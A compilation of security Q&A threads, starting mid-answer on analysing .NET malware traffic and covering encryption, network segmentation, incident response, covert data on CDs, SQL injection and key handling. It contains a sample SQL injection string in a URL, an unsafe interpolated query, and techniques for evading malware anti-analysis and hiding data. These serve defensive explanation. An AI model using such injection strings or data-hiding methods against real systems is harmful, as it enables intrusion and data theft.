Since .NET binaries usually depend heavily on the .NET runtime's provided classes, you can replace key DLLs with modified versions that change functionality to your benefit. For example, you could replace whatever HTTP client class it's using with one that also logs all requests and responses, in plain text, to a file. One way to do that would simply be to download the source code for the relevant DLLs, edit the class(es) you care about, and recompile it. This will not work if the malware is enforcing signature checks on its libraries, though (as it almost certainly is); you would need to disable those checks.
You could attempt to reverse-engineer the malware to find the certificate/public key pinning code, and disable it. This is near-trivial if the binary is not obfuscated, but realistically it probably is; obfuscation makes reverse engineering harder but not impossible. There are any number of decompilation tools for .NET assemblies available free of charge.
Same idea as #2, except instead of trying to change the code flow to not perform cert pinning, you look for the certificate or public key that is being pinned to (note: it may be simply a hash/thumbprint of the key/cert, not the full thing) and replace it with the appropriate value for the cert it sees from Fiddler. If you're very lucky, the expected cert is stored outside the binary and you can simply replace it; if you are less lucky you will need to dig into the binary to find where the check is performed and how the expected value is calculated, and change what is probably a hardcoded array or something.
Sort of like #1, run the malware under a debugger with breakpoints on the HTTP client functions and find the plain-text value of the HTTPS requests and responses. Assuming the malware uses standard .NET HTTP client classes, this requires relatively little reverse engineering and you don't need the malware's private symbols (symbols for Microsoft's classes are available from their symbol servers). However, virtually all malware checks for an attached debugger - it's one of the oldest tricks in the book - so you'd need to find and disable those checks first if you wanted this to work.
Also somewhat like #1 combined with #2, you could decompile the malware, find where it makes HTTPS requests and where it gets the responses, and "instrument" those functions with your own code that logs those requests and responses, in plain text, to a file. This has the advantage of not needing to read much of the (presumably obfuscated) code - you are just looking for a few specific classes, and probably then adding a wrapper around any invocation of them - but it's still a lot of work. Also, malware may have self-integrity checks that will prevent it from running or change its behavior if it sees itself as modified; for proper results (for this approach or the others that change the binary) you would need to find and remove or fix those checks, too.

Another possibility is that the server is expecting a client certificate from the malware before it will complete the handshake, but in that case I would expect Fiddler to prompt you for it. If it turns out that the problem is a client cert after all, you will need to find that cert and feed it to Fiddler.

Malware analysis can be hard. A really well-written piece of malware is going to be a tough nut to crack. On the other hand, really serious malware is extremely unlikely to be written in .NET - decompilation is too easy, and you can pull far more obfuscatory tricks with native code - so it's probably not all that heavy on anti-analysis mitigations.


Is SSL not enough for a secure chat? I was going through SSL/TLS article on wikipedia. It turns out that it provides key setup, encryption as well as authentication. The question is "isn't this enough to make a secure messaging/chat application between two or multiple parties?"

Please correct me if I am wrong or incomplete.

SSL establishes a secure connection channel between you (the client) and the web server. If your only worry is about someone sniffing your traffic and reading your communications, then this is good enough.

However, this implies that you must place your trust in the web server. Your chats will be stored here (e.g. HTTPS protected conversations in Google Hangouts). However, this also means that your messages can be read by the server.

What end-to-end encryption (e.g. WhatsApp) gives you is that only the involved parties can access the details of a communication, not even the provider (more details). Session setup now requires keys that only the two parties know, without any trusted source (e.g. in SSL, the browser trusts the root).

The situation gets even more complex for group chats (see discussion here). Now you need all parties involved to agree to a key, and you may want to revoke and create new keys every time group membership changes.


How to reverse the communication for security I have the following use case - There are two networks - internal network where the application server is deployed and has no internet access and external network that is accessible from internet but it cannot access the internal network. So the access looks something like this:

internet <---> external network <---- internal network <----> web application server

What I need is a way to be able to process user requests coming from internet in the web application server. Is there a ready solution for this problem?

You're describing a typical multi-tier web application.

Internet - Firewall - DMZ - Firewall - Internal Network

Typical multi-tier security architecture puts the application server on the internal network and the web server (no business/application logic) in the DMZ. Allow traffic from the Internet into your DMZ, to your web server only, on port 80 and/or 443. Allow traffic from the DMZ, from the webserver only, to the internal network, to your application server only, on whatever port(s) is required and no more.

All communications to you web app now terminate in your DMZ, protecting the business logic and whatever backend database you're using from attack.


"Life is not easy." Linux virus : what to do next? Context
I found out my Linux server was infected.
Symptoms were : 100% CPU usage when idle, slow download speed, iptables rules keeps growing.
After finding the processes, killing it and all the possible ways it setup to restart again, I'm back with a normal-looking server (no symptoms).
I used this blogpost (in chinese) instructions to clean the system.

In the process of cleaning the system, I could save the script used by the hacker. It is available here : https://gist.github.com/Colanim/0c7d71b90893a54c731de4e328585e9f
Question
I can't fully understand this virus script, but it seems bad enough (scanning intranet ? Downloading weird files from weird domain ? Modifying iptables secretly ?). My question is : what should be my next steps ?
I have data on this server I need to keep.
Is the virus very bad and I should just wipe everything ? Is it ok to save the data and just do a clean Linux install ?
Or if the virus is not that bad, can I keep my server in the current state ? (system seems clean, no symptoms anymore)
Should the passwords used in the server be considered leaked ? Or it's fine because anyway it's hashed ?

To add to the above comments:

I used this blogpost (in chinese) instructions to clean the system.

Once your system gets compromised you can no longer trust it in any shape or form. The only surefire remedy is to wipe clean your entire drives.
Also, the above links don't mention it but nowadays, but if we are talking about a personal PC/server malware can infect UEFI BIOS as well, so if I were you, I'd reflash BIOS as well. If your device is some shared virtual server, then simply destroy it and create a new instance.


Why is Goodreads connecting to Google when I visit their website? I was browsing Goodreads.com with uBlock origin installed on my browser. I'm not a web developer but, I understand that some websites send requests to "ajax.googleapis.com" in order to design their UI. This website (security.stackexchange.com) does it too.

From the above screenshot, it's clear that ajax google APIs were used without sending a request to google.com on this page. So, I conclude that

  Using ajax google APIs doesn't require the website to send a request
  to "google.com".

Green on the left side of uBlock origin panel means that requests were sent to these domains while visiting this page and thus those domains know about your presence on this website. Red represents that an attempt to was made to reach the domain but, it was blocked.

That being said, when I visited the stat page of Goodreads, I couldn't load the graph.

So, to fix it, I started unblocking the requested domains one at a time. When I unblocked "google.com", I noticed that requests were made to Google's Ajax APIs only after I unblock the request to "google.com".

This made me wonder why have the designers of this website programmed it that way it is? Why didn't they called Ajax APIs directly? The only reason I could think of is that it's a way of enforcing users to disclose their presence to Google. But, I'm open to the idea that I might be wrong. Could someone provide a technical clarification to what's happening here?

Is Goodreads letting Google know of my presence on their website?

EDIT: Sorry to use the term "Selling" I don't want to get political. Just looking for a technical explanation to this scenario and want to know if there's a possibility that there's a reason to sending requests to google.com other than letting Google know of my presence.

This is not really a question about security, however I understand that people may be confused by the way things are usually implemented on websites. What happens depends entirely on the order in which assets are loaded in the page.

First your plugin blocks all the scripts. The plugin will only show you the external scripts that can be found in the page, which are blocked. Then, when you allow those scripts, those scripts will execute and in turn they might load other scripts, which will be blocked again by the plugin. If you allow these scripts again, they will execute and they might load yet other scripts, and so on. That's why you sometimes have to keep allowing scripts, and more will appear.

Your page (note: registration is required): https://www.goodreads.com/review/pub_year_graph/37991099

In that page you have this code:

<script type="text/javascript" src="//www.google.com/jsapi"></script>

That script contains the following line, along with a lot of other code:

google.loader.GoogleApisBase = 'https://ajax.googleapis.com/ajax';

So first the page loads a script from google.com, and that script in turn loads other javascript from ajax.googleapis.com. Why do scripts load other scripts from other domains, instead of just loading what is needed from one domain? It's usually just the way they organize their APIs and services, and it might make sense because you can manage everything easily from one API, instead of having to worry about several different scripts and domains.

But if you are asking why they didn't place the script on the googleapis.com domain, and instead they loaded it from google.com, and so your browser ended up sending your google.com cookies along with the request, then I don't have an answer. Users' data is Google's business, so that choice might well have been on purpose. I don't know, I guess it would be interesting to ask Google why, maybe there's a technical reason, or maybe not. However, if you are in Europe, Google is not really at fault here. GDPR (General Data Protection Regulation, European law on privacy) requires that the websites check what they are doing with their users' data. So it's technically goodreads.com that is at fault here, for using Google's services in that way, no matter if they have a choice or not. In practice though nobody cares about Google, data, privacy or any laws about privacy. For now, at least.


Open port on my router I never seen before (port 12345) Today I scanned my router and found out open port 12345, which when googled displays to be NetBus which is potential threat.

As a reference I scanned my router many times before for open ports (all ports) using nmap, and never before seen this port opened.

I logged in to my router via remote shell and ran netstat which showed that the there is connection from to this port from internal IP, which I was able to figure out is my firestick. I own firestick for a long time, and performed many scans on my router since then but port 12345 was never opened. However whenever I ran top or ps I could not see anything that was never there, or anything that would make me anymore scared than I already am.

Is there any step I should take or is this known behaviour, and I simply missed it out when performing my previous scans, or is this coming perhaps from any new update?

Also using canyouseeme.org I checked whatever port 12345 is available to outside world, but the website shows that this port could not be reached.

If you're running your nmap scan from inside your network, it's entirely possible to get a different set of open ports than from outside your network.  Services can bind to interfaces, and presumably your router has firewalling rules of its own.  If the port is not accessible from the internet side, then an attacker will not be able to use that to get into your network.

Unless you have a really old Windows machine on your network, there'd be no reason for netbus to be involved.

Most likely, you have UPnP enabled and some recent firmware update to your firestick has caused it to use UPnP to open port 12345.  Try disconnecting the firestick and see if it goes away after some time.


How safe are CD's for Air Gapped computers? It is often suggested, for air-gapped PC's, to use CD/DVD's as a transfer medium between machines instead of USB sticks or portable hard-drives as it is difficult to write data to a CD/DVD without the user noticing.

I am wondering if there are any known attacks against this type of scenario?  I'm not sure its possible but i'd be interested to see if there's been any research into such attacks. Schneier's article (linked above) seems to suggest it is possible by saying:

  If you've only written one file, but it looks like three-quarters of
  the CD was burned, you have a problem.

Is it possible to write data (even a small amount) to a CD/DVD that wouldn't, under normal circumstances be read/recognized by the operating system but could potentially be accessed by malware?

It is totally feasible to write appreciable amounts of data in a "covert" fashion under these conditions. What is written on the disc is a filesystem: a sequence of bytes which encodes a number of files and directories. There are two main places where covert data would be hidden:

In the "holes" in the filesystem. In particular, files will use an integral number of sectors (2048 bytes on a CD), so if a file length is not a multiple of 2048 then there is some "padding" at the end, i.e. bytes which the OS will simply ignored as long as it reads the data as files. But reading the CD as a "raw device" will allow access to these bytes. Note that filesystems meant to allow read-write operations (e.g. UDF, as opposed to ISO9660), there are bigger holes which an be used as well.
Beyond the filesystem. A filesystem begins with a header which specifies a number of things about it, in particular its total size. But on the disc, there may be extra bytes afterwards, which are readable by accessing the "raw device", but ignored by the OS for all filesystem-related accesses. You can easily sneak up megabytes of data there.

The two methods above are generic to any storage device with a filesystem, so it applies to USB flash drives as well. There are other methods which depend on the actual device; for instance, on a CD, you can have multiple sessions with multiple tracks in each of them, allowing you to play a lot of sneaky games (and this has been used at times as basic protections against copying).


Why is Bruce Schneier recommending symmetric crypto over public key crypto I just read the article written by Bruce Schneier, the crypto guru. In the article, he says :

  Prefer symmetric cryptography over public-key cryptography.

But, he doesn't shed any light as to why.

Now, I thought that public key systems avoid problems with some man in the middle attacks & key distribution which are the problems with symmetric key cryptography, right?

Can anybody please explain Bruce Schneier's view or am I missing something?

This preference of symmetric cryptography over asymmetric cryptography is based on the idea that asymmetric cryptography uses parametrized mathematical objects and there is a suspicion that such parameters could be specially chosen to make the system weak. For instance, when using Diffie-Hellman, DSA or ElGamal, you have to work modulo a big prime p. A randomly chosen prime p will be fine, but it is possible to select a special p which will "look fine" but will allow easy (or easier) breakage of the algorithms for whoever knows how that special p value was generated. Such primes p which make crypto weak are very rare so you won't hit one out of bad luck (as I say, a randomly chosen prime will be fine).

This means that good cryptographic parameters are nothing up my sleeve numbers. If you look at FIPS 186-4 (the standard for DSA), you will see a description of a generation system for DSA parameters (namely, the big modulus p, and the generator g and group order q) which is demonstrably non-malicious. This works simply by showing the deterministic PRNG which presided to the generation of these values; by revealing the seed, you can show that you produced the parameters faithfully, and thus did not indulge in "special prime crafting".

A jib can be made against the standard NIST elliptic curves (see FIPS 186-4 again) because these curves again have some parameters, and NIST forgot to use a deterministic PRNG as described above (actually, NIST is not at fault here; these curves were inherited from SEC, so the mistake was probably Certicom's). The Brainpool curves attempt to fix that mistake. (Note that among the 15 NIST curves, at least the 5 "Koblitz curves" cannot have been deliberately weakened since there is no random parameter in them at all.)

Ole' Bruce turns all of the above into a generic anathema against asymmetric cryptography because he wanted a punchy line, not a more correct but lengthy explanation on group parameter validation, as described above. The lesson to remember is that the complete design of any cryptographic system shall be as transparent as possible, and this includes the generation of "seemingly random" parameters.


Keepass - Needle in a stack of needles I got the idea from someone saying the best way is to hide the needle in a stack of needles, not in a haystack.

I am considering writing a little app to accompany my Keepass installation. The app would create X (1024?) .kdbx files with random encrypted data of various sizes. They would have random 3 character names. I can then delete any of those files and save my "live" database in its stead. After I am done with my Keepass session, the app would then need to 'reset' all time related meta-data (date and time last edited, for example) of all 1024? to avoid my "live' .kdbx file to stand out of the stack of needles.

The idea is to discourage a would-be password brute force attack.

Other than having to remember a 3 letter word, what down sides does this have?

What you are trying to do is to add an additional "security by obscurity" layer on top of the normal authentication layer which is the "security by design" layer. Yes, it will increase the amount of work an attacker must perform.

There is a simpler solution to achieve the effect which you desire. KeePass allows you to use a key file in addition to a password. The key file can be any file on your system. There are literally thousands of files already on your system. The attacker needs to get both the password and the file correct. Since KeePass does not write to the file, you don't have to worry about any of that timestamp problem.

By choosing to write an app to perform the function, you need to make sure that there are no bugs in the app, you must also remember to run the app to reset the metadata every single time. These are additional problems which can be avoided. Bugs can have catastrophic consequences. (E.g. Overwriting your actual password database)

Make sure to choose a file that does not get modified through system updates. I am currently using an mp3 file from my vast 10GB music collection. Good luck finding the right one.


Is it safe to expose a logging socket endpoint in a chrooted environment? I'm trying to set up a file transfer server, which needs to be secured and logged. FTP was suggested, but that feels outdated so I automatically translated that to SFTP (OpenSSH) in my head.

Using match I can select which users can use the service.
Using ChrootDirectory I can select which area of the filesystem to publish.
Using ForceCommand I can limit users to file transfer only and set log level.

Now we get to the wonky part. In order for logging to work there must be a syslog socket available in the chroot.

This strikes me as a completely insane design. How can it ever be safe to give a socket directly connected to the logging system to the users I'm trying to track?

Let's start with what we know:

You have a process running in an isolated environment
You want that process to communicate with the logging system

It follows therefore that you need to provide some way to route the communication from your process to the logging daemon. There's two ways to do this: Unix sockets or TCP sockets.

To the application, Unix sockets and TCP sockets are roughly identical. In both cases, you connect to the socket and start sending/receiving traffic. But Unix sockets have the security advantage that you can use file permissions to control who can connect to them.

So you're wondering how it could possibly be safe to allow the process to connect to the logging system... but if your process can't see the logging system, then how could you expect it to generate log entries?

To be clear, a unix socket does not give anyone complete control over the process that owns the socket. Instead it allows someone to open up a connection to the process that owns the socket, exactly like using a network connection, but without the network.


Is it possible to breach prepared statement and stored procedures with unsafe sql query string Recently when I was looking through some code which looks more or less like this:

 $query = "call someProcedure(?,?,{$unsafeString})";

Then there is some code where the list of arguments is prepared and after that, there is generated prepared statement from string query

Given that unsafeString is coming from user, it is not being validated or escaped and it is interpolated in query string. I was wondering, can this be a serious threat and how it can be exploited?

I tried to add second statement at the end, but seems like prepared statements allow me to execute only first query and I also tried to use select statement to get some values from dB, but seems like some stored procedure does not allow to do that.

So I was wondering, can I state that this is safe? or there is some possibilities to exploit it?

Unless you are doing some dynamic SQL inside someProcedure or not using mysqli_multi_query() you should be safe at this point but since you are not escaping or validating user input, and if $unsafeString is stored in a database, an attacker can use this at a later time and it would be difficult to spot. Therefore I would change to prepared statements everywhere in your code so you handle all the data, even one stored in the database safely.

EDIT:

CLARIFICATION

Depending on how you handle data in you application, and since there is obliviously a place in the code where you don't use prepared statements it would be safe to assume there are other places where you might not use it either. If for example you handle data previously stored with a call to

$query = "call someProcedure(?,?,{$unsafeString})";

there is a possibility you are handling that string in an unsafe manner where code injected into the data could be executed. For example, concatenating the data with a SELECT statement. This kind of vulnerability is difficult to spot since you might assume data already stored in the database is safe.

Also, by not escaping or validating the input, you are opening yourself to a XSS attack depending, of course on how you handle that data later or.


Understanding the security of my home network With so many devices that have internet connectivity, I really want to put something in place that can alert me if any application or device is communicating insecurely. How would I use something like OSSIM or Snort or something to be able to determine if credentials are being passed.

From my thinking, it appears that what I would need to do is to somehow place something between the router and everything else so I can intercept.

Edit: Here is a very basic mockup of the devices on my home network. My goal is to figure out a way to get the Security Onion VM running on my PC to be able to monitor all traffic throughout the network. I am unsure if I need/how to configure a TAP on the network.  Do I need a managed switch rather than the unmanaged?  Here is the mockup: https://www.lucidchart.com/documents/view/abc0cc81-dc4c-450c-84bd-c7aa33d7255f

Edit: I totally missed the home network part. Purchasing a network tap in this situation would be overkill. In your case Snort or Suricata could work. You could specifically make rules to search the packets for strings that would indicate insecure communication. You could further tune it by removing all rules not pertinent to what you're looking for, cleartext credentials. More details on making custom Snort rules here:
http://www.sans.org/security-resources/idfaq/snort-detect-credit-card-numbers.php

Enterprisey solution: I've seen people run Suricata or Snort on their systems but that doesn't seem to scale so well if you have high bandwidth usage. You are right that a network tap might be useful in your situation. I'm not sure if you're dealing with fiber or copper, but you could get a suitable tap and feed the data from the monitoring ports into other tools. These tools, which could potentially be Snort or Suricata, could scan the packet data for specific strings such as you'd see in LDAP authentication. There may also be DLP tools that could work for this use case.


Passing generated keys to another process I am doing a project in which one process generates a key using a distributed algorithm. I need to pass this key to the calling process or procedure. Generally speaking, one can do this in the following, (or more) ways:

1) As a return value

2) Write to a file, that can be read by the caller

3) Encrypt the key and drop it into a socket, to be received by the caller

4) Use process communication

My question is : Which of these methods is the best or the most secure way to achieve the required function? Does writing the key to a file increase the security, if the key is encrypted for the session?

If there are other ways, better methods to achieve the above, please add it to your answer.

Your problem is transmission of a secret piece of data; that the piece of data is a cryptographic key is mostly irrelevant (it just means that it is really secret). Thus, what you want boils down to making sure of who gets it.

Since you talk about processes, I assume you are talking about a transfer within a single machine. "Who" then depends on the security model of your operating system. Common OS use a model with "accounts", each process being linked to one such accounts and having the privileges associated with that account. There is one "master account" (root on Unix, Administrator on Windows) which has all the rights, and you cannot defend against that.

Given that, let's see your proposals:

"As a return value": this cannot apply. A "return value" is what is sent by a function to its caller within a single process. In your case, there are two processes.
"Written to a file": I would advise against it. A file leaves traces. Once the data has made it to a physical medium, then you must maintain the access controls to this medium forever. It seems best to keep the whole thing in RAM as much as possible.
"Encryption and a socket": encryption is fine as long as you already have keys distributed, so you are solving the chicken-and-egg problem by stating that you already have another egg/chicken, which does not solve things. On the other hand, for a socket which is local to a machine, you may have ways to make sure that the process at the other end of the socket is owned by the expected account; it is called getpeereid() on Unix-like systems.
"Inter-Process Communications": this is a generic name for ways for two processes to talk to each other, and it includes local sockets. The choice is large (and very OS-dependent); the important point being that you can obtain the effective user ID of the other process, as getpeereid() does.

On a Unix-like system, you can use a local socket, either anonymous (created with socketpair()) or named (a "Unix domain socket", as it is); an anonymous socket pair is possible if your two processes have a father-son relationship which allowed them to exchange file descriptors. You can also use pipes, there again anonymous, or through a file-based rendez-vous point (a "named pipe"), in which the filesystem contains the meeting area, but the data remains purely in RAM. SysV shared memory, mmap() with MAP_SHARED over /dev/zero,... there are many possibilities, each with its own methods for access controls.

On a Windows system, the possibilities are even more varied, due to the long history of successive layers of inventiveness in this OS (they never drop anything -- they are good at backward compatibility -- but they also redesign whole subsystems every two years, so the IPC methods tend to accumulate; back in 2003, I counted no less than 9 methods for that, and I am sure there are now others).


NET::ERR_CERT_AUTHORITY_INVALID in Chrome but not in Chromium or Firefox I'm getting a NET::ERR_CERT_AUTHORITY_INVALID for the following google sponsored website: https://viz.mediapipe.dev/
NET::ERR_CERT_AUTHORITY_INVALID
Subject: mediapipe.dev
Issuer: GTS CA 1O1
Expires on: 8 Mar 2021

I get this in Chrome only. In both Chromium and Firefox (on Ubuntu OS) the certificate is deemed valid and the page loads without any security related warnings. How would you go about figuring whether there's a real issue or security situation v.s. just a bug in Chrome?

The site is improperly setup. It only serves the leaf certificate, but does not serve the necessary chain certificate for the intermediate CA "GTS CA 1O1". See this SSLLabs report:

Browser usually try to work around such issues, but these workarounds will not always succeed. For example an existing Firefox profile will probably have cached the missing intermediate certificates and the workaround will work. With a fresh Firefox profile it will fail though:

I'm note sure why it fails with Chrome though but still succeeds with Chromium since I would expect both to apply the same kind of workarounds. Anyways, it should be fixed on the server side since it also fails with Python, curl etc.


SQL Injection on URL, not on parameters Should WAF or any protecting method, block SQLi done on URLs?(eg GET /test/url'or 1=1--)

Yes. The latest version of ModSecurity, 2.6.0, allows specific arguments to be disabled on a per-rule basis. This will allow easier tuning to the app for removal of false positives (and since it's not just the whole URI per rule there will be less, albeit still some, false negatives).

You'll notice that some MVC/MVP apps lean on the controller-action-id paradigm, which doesn't use parameters (except on the URI like you describe).


How technically setup an honeypot When I started reading about honeypots, I could understand what is honeypot, how it works theoretically, i.e it is a trap-network that may or may not mimics a real network, but because of my limited thinking, what I could not get is, how exactly are they setup technically for any given network.
For example I have an ICS network that involves MTUs (Master Terminal Unit) and several RTUs (Remote Terminal Units) which read remote field parameters (sensors) and sends to an MTU over public network.

How honey pots are setup technically for any typical internet service, in terms of mimicking the service, IP address used by the service?
How can I set up a honeypot for an ICS network such as one mentioned in the above example?
How will attackers find my honeypot network (thinking as a vulnerable network)? Should I advertise my network in any way?
What makes them attack my trap network rather than the actual legitimate network?

There are two main types of honeypots:

strong interaction: made to observe and learn about the hacker methods
weak interaction: made to detect an intruder

You seem to need only the second one: be able to make an attacker target your honeypot first so you can block it before he starts to attack your real assets.
In this case, your honeypot does not really need to mimic a real service. You could monitor the network interface and block any IP that connects to it, considering that your other machine a real client does not have any reason to connect.
You can make it an interesting target by publishing a DNS record for it in the alternative name of a certificate on your website, for example.
Here is an example of how simple the code can be: https://github.com/astar-security/Honeyris


Identifying an ongoing exploit? Recently I was contacted by a person saying that they had found a vulnerability in my site. They were able to prove it, by sending me a list of my own databases (some of which had been created but never used or referenced by anything), a full directory listing of my webroot (not as impressive, but it did include hidden files), as well as contents of configuration files for MediaWiki and a sample from one of the databases. It seems that they have been able to drop a database, as well as run a mass update on another to introduce spam links on the Wiki.

I appear to have vexed them by saying that I don't use bitcoin and therefore cannot pay them for any "report" on how they are doing this - not that I actually want to, of course.

I really need help in figuring out anything I can to stop this attack before any further damage is caused - I apologise if this is not the correct place for such things, but it's the first thing that came to mind. Any advice, ranging from stopping the attack to possibly turning the tables entirely would be very much appreciated. If you need more info, please ask!

Do not try to turn the tables.

Simply disconnect the site from the internet, take forensic copies (if you want to try and find out exactly what happened, or pass into to law enforcement) and then wipe and rebuild from scratch.

As the odds of tracking down the perpetrators are incredibly slim, I would suggest not wasting your money. Just wipe and rebuild, and look to garden your installation before you connect it online again. This should include latest patches for platform, OS, applications etc., config options and general hardening guidance.


How to defeat CRIME, BREACH, TIME etc... server side (without sacrificing compression) I am writing full-stack server side software and I have been researching CRIME attacks and it's relation to SPDY header compression as I am implementing the server side codecs for it at the moment.

The conclusion seems to be that compression and encryption should not mix.

Having looked into both CRIME and BREACH. I am wondering if the following methods are viable to disable ALL types of "guess work" attacks in compressed and encrypted data streams (on the server side)

1) Rate-limiting - as suggested on BREACH's site. Any clients bombarding a server with over 100 request per second is bound to be malicious when pages on your sites only serves a maximum of X (single/low double digit) resources per request.

2) Dynamic data - both CRIME and BREACH (and their derivative) seems to rely on repeated probing and assumes the position of data does not change. What if both HTTP headers and body are shuffled per response by the server? Combined with small variable length random dummy data injected in both body and header? Can this effectively disable all such attacks with CRIME and BREACH's characteristics?

Thanks for your time.

EDIT 1: I should point out that I am specifically referring to data streams within the HTTP protocol (i.e. HTTP compression and SPDY header compression) and not SSL/TLS compression.

EDIT 2: The attack mitigation solution I am trying to achieve/suggest is on all possible "compression + encryption" info leak attacks, CRIME and BREACH may only be recent examples.

EDIT 3: The BREACH presentation seems to suggest variable length padding is not a valid mitigation. However it doesn't seem to consider the combination of a randomised message structure + randomised padding can create an (in theory) infinite combination of unreliable outputs thereby removing any correlation between the compressed and encrypted output length to the actual message meaning.

CRIME and BREACH are attacks on the client. Their setup is that some hostile code is running in the client with limited capabilities (i.e. it is Javascript in a Web page). The attacker also controls the external traffic of the victim: he can inspect it, but also block it. This limits what the server actually sees.

In both cases, the hostile Javascript will trigger several (many) requests aimed at the server for which the secret (the cookie value) is to be retrieved. The attacker only needs to see what goes out of the client; it is not absolutely needed that the request reaches the server. Indeed, HTTPS clients use HTTP: they routinely send several requests in a row over a single channel and don't mind that they don't receive a response immediately. This way, the hostile code makes the victim's browser send a lot of requests that the attackers see, but not the server.

Under these conditions, there is very little that the server can do to protect the client, except not letting it believe that the vulnerable protocol features (unprotected CBC, compression...) can be used at all. Rate limitations won't do much in this case.

Injecting some random padding is a possible defence, but it has to be done in the client, not in the server. There again, the server cannot do anything. A custom header, with random contents and occurring before the cookie in the header, would prevent BREACH. For CRIME, this is more complex; you need a custom header with a random length with a well-chosen distribution (it is not immediately obvious which distribution should be used). Of course, this extra padding implies more bytes to send, which may very well cancel the benefits of using compression in the first place.


What advantage would someone gain by installing my root certificate? The answer to this is probably simple, but it eludes me.

Here's the scenario:  At the moment, I have a server with a certificate issued to it using HTTPS that a customer POSTs responses to after processing requests sent from a web service.  The customer's server has their own certificate issued to it and it also uses HTTPS.  Neither certificate is a wildcard cert.

As part of the original setup, the customer requested that my server had a certificate (unsurprisingly).  Now, the customer has an additional requirement as part of a recent upgrade.  They want my root cert installed on their server.

As I mentioned above, my server already has a valid, non-wildcard certificate.  When their server POSTs to mine, they already see that valid cert, and when my server talks to their server I see their cert. So what would my customer gain from this?

Edit:  To clarify, my certificate is signed by a third party CA.

Installing root certificates on a server causes that server to implicitly trust any future certificates signed by that root. By installing that root cert, you could then use self-generated certificates that are signed be the root that was installed.

This adds a layer of security in that your root is not distributed for use by other servers/instances, and would not need to be replaced if of those signed by it was compromised; you could simply revoke the compromised one and issue a new one signed by your root.


Is it possible to prevent a physical attack on full disk encryption? I've been researching into some methods to ensure that disk encryption keys can't be stolen, and one that I've come across is called TRESOR.  With this kernel patch, you can create a partition that is encrypted using AES, and the keys are stored in the CPU caches instead of in RAM.  At first, I thought this was great, but upon further questioning, I've come to the conclusion that any decrypted data still stored in RAM is vulnerable to a physical cold boot dump.  A potential way for this to be secure is encrypting the contents of usable OS RAM using TRESOR and then creating an encrypted partition, since the keys will be in the encrypted RAM, and the RAM's keys in the CPU cache.  I still don't know if this is a secure method, or how sound it is.  Is it even possible to prevent a physical attack on full disk encryption, and if so, how can I?

For the CPU to actually process the data, the data must be in cleartext at some point. TRESOR uses the CPU registers, presumably harder to read than RAM for physical attacker, but its scope is limited to the encryption key: that key is in the registers, but the data that is encrypted or decrypted is still in RAM. There are only a handful of registers in the CPU, there is simply no room for more data.

Using a TRESOR-backed RAM disk, you have "encrypted files" with fast access (since that's RAM), but they are still "files" in the view of the kernel and application code. The data will be decrypted in RAM at some point.

If you really want all RAM to be encrypted at all times, then the choice is either to use a CPU which includes the hardware to do such encryption (there are some smartcard CPU which do that, but no PC-like CPU to my knowledge), or to make a complete virtual machine whose virtual CPU is implemented TRESOR-like with automatic encryption and decryption upon each memory access. The actual encryption mode would need some thorough thinking (it is not easy to encrypt data securely while still allowing fast decryption with random access). I am not aware of any prototype; but it is theoretically feasible. A nice project for a student (it could even be the main result of a PhD). It would be awfully slow.


Basic Auth Credentials on Mobile Device I am testing a mobile app that makes requests to a web service. Web service has two sets of functions. Class A functions can be called before login and Class B functions can be called after login. Class B functions are protected by user credentials and can only be called if the user is logged in and retrieved a token. Class A functions on the other hand can be called by anyone. Dev team used basic auth. to protect these services from ordinary internet users but they put the username and password in to the application. Credentials are hardcoded in to the application. I dont like to keep this data in the app because if for any reason we need to change the password we have to push an update to all users. If a user does not update their app, they cannot login because login request needs to be sent with basic auth credentials. I asked developers to remove the credentials from the app and they asked for a meeting. I have to defend my case and offer an alternative. Is there any other good reason to not keep these credentials in the app and what is the best practice to follow? Thanks.

Basic Auth obviously could protect from ordinary internet users but it definitely will not protect from hackers, because such credentials are easily obtained from the app or its traffic. So you could ask about the threat model.
On the other hand your operations (dev) team got the additional unnecessary task (and potential point of failure) to support and update this shared secret.

Best practice here is to build a resilient architecture with strong actual authentication for Class B functions approved by industry.


Perform static analysis over executable Jar Can you perform static analysis over executable Jar files ?
What I did so far is decompile (JD GUI) the jar to get source code excerpts. Is there a better way to do this ?

Can you perform static analysis over executable Jar files?

Yes. Static analysis just means that you are not actually executing the software during your analysis.

What I did so far is decompile (JD GUI) the jar to get source code excerpts. Is there a better way to do this ?

Decompiling the jar file is a great way to start, and JD GUI is a handy tool to help you decompile. Now you just have to dive in and actually figure out what the Java code is doing. Good luck!


Secure way to grant access to WIFI network based on dynamic parameters? I am looking for a way to grant access to a secured WiFi network, based on certain external information?

For example, some server on the internet could store MAC addresses that ought to be granted access, in addition to MAC addresses stored in router itself.

Or, access to WiFi network is password protected, but it will be granted if password supplied by newly connected device matches one of the passwords contained in a dynamic list.

The idea behind this question is the following:
I have WiFi with flat rate plan. I should not resell it, but I can share it with friends and family, when they pay me a visit.

Now, I would be willing to allow access to an unknown "visitor" which happens to be within the range, provided he does the same with his WiFi. If there are enough like-minded individuals within an area, I could get access to free internet at many more spots.

However, this should work automatically, should not incur any costs on new participant, and should end its participation X days after he ceases to provide free internet to others.

Are there any security concerns? I am aware that this is still somewhat a general question, and pointing me into the right direction how this could be achieved would be great help!

Thanks!

You can use WPA-Enterprise with a RADIUS Server for authentication. If you want to implement these exotic methods you mentioned, look for existing RADIUS policies that fit your needs or write your own.
http://freeradius.org/features/policy.html


QR code as certificate of authenticity I need details about QR code that provides information about whether its product is original or not.

The situation is a stamp that tells that this product has been certified as safe to be use by this safety boards. And its not for just one company. It has various range of products and company. And a fake product might just steal the QR code copy and paste it on their products.

So do you guys have any idea on how QR code helps?
Is there any implementation yet?

QR Codes do not convey this type of information. They can be used to encode arbitrary text, a URL, or a number of other structured content, but in the end it's just printed information.

A QR Code is no more or less secure than any other label printed on an object.


Why is using an SSH key more secure than using passwords? If people use a password to log in to a UNIX server, then it could be forced to expire the password, then they change it.

If people use an ssh key and have no passwords, no password expiry, then nothing forces them to change their SSH key regularly.

Question: Which solution is more secure? Why do the "howto"'s for hardening a server always advise to use an ssh key, not passwords?

UPDATE: not counting the brute-force weakness - regarding passwords, since they could be guessed if there is no Fail2ban-like solution.

Both keys and passwords have their pros and cons.  The reason that "howtos" and the like advise using the SSH key is that they find their cons less worrisome than passwords' cons.

SSH keys are long and complex, far more than any password could be.  But as you state, they don't have expiry, and they sit on disk where they can be stolen from.  On the other hand, they don't get transmitted to the remote system (except key forwarding, natch) which passwords need to be.

